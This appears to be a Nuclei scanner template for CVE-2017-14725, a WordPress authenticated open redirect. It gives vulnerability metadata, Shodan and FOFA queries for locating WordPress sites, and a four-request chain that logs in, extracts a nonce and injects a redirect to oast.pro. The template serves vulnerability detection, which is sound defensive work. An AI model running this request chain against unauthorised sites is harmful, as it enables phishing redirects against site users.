id: CVE-2017-14725

info:
  name: WordPress < 4.8.2 - Authenticated Open Redirect
  author: 0x_Akoko
  severity: medium
  description: |
    WordPress versions before 4.8.2 contain an open redirect caused by improper validation in wp-admin/edit-tag-form.php and wp-admin/user-edit.php, letting attackers redirect users to malicious sites, exploit requires access to admin interface.
  impact: |
    Attackers can redirect authenticated users to malicious sites, potentially leading to phishing or malware distribution.
  remediation: |
    Update to WordPress 4.8.2 or later.
  reference:
    - https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
    - https://core.trac.wordpress.org/changeset/41398
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14725
    - http://www.securitytracker.com/id/1039553
    - https://www.debian.org/security/2017/dsa-3997
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2017-14725
    cwe-id: CWE-601
    epss-score: 0.02187
    epss-percentile: 0.80628
    cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: wordpress
    product: wordpress
    shodan-query:
      - http.component:"wordpress"
      - cpe:"cpe:2.3:a:wordpress:wordpress"
    fofa-query: body="oembed" && body="wp-"
  tags: cve,cve2017,wpscan,wordpress,redirect,authenticated

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/term.php?taxonomy=category&tag_ID=1&wp_http_referer=https%3A%2F%2Foast.pro HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, '_wpnonce')
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        internal: true
        regex:
          - 'id="_wpnonce" name="_wpnonce" value="([a-f0-9]+)"'

  - raw:
      - |
        POST /wp-admin/edit-tags.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=editedtag&tag_ID=1&taxonomy=category&_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Fterm.php%3Ftaxonomy%3Dcategory%26tag_ID%3D1%26wp_http_referer%3Dhttps%253A%252F%252Foast.pro&name=Uncategorized&slug=uncategorized&parent=-1&description=

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wp_http_referer=https')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/term.php?taxonomy=category&tag_ID=1&wp_http_referer=https%3A%2F%2Foast.pro&message=3 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "href=\"https://oast.pro\"")
          - contains(body, "Back to Categories")
        condition: and
# digest: 4a0a00473045022041c933cde09f58d9d64855d119ba072b3bcbee0cb1ade04d5df441ea561de5dc02210081b558df730da1facfc7ef96e902230181252926985b8a72c9bdf8395dc23499:922c64590222798bb761d5b6d8e72950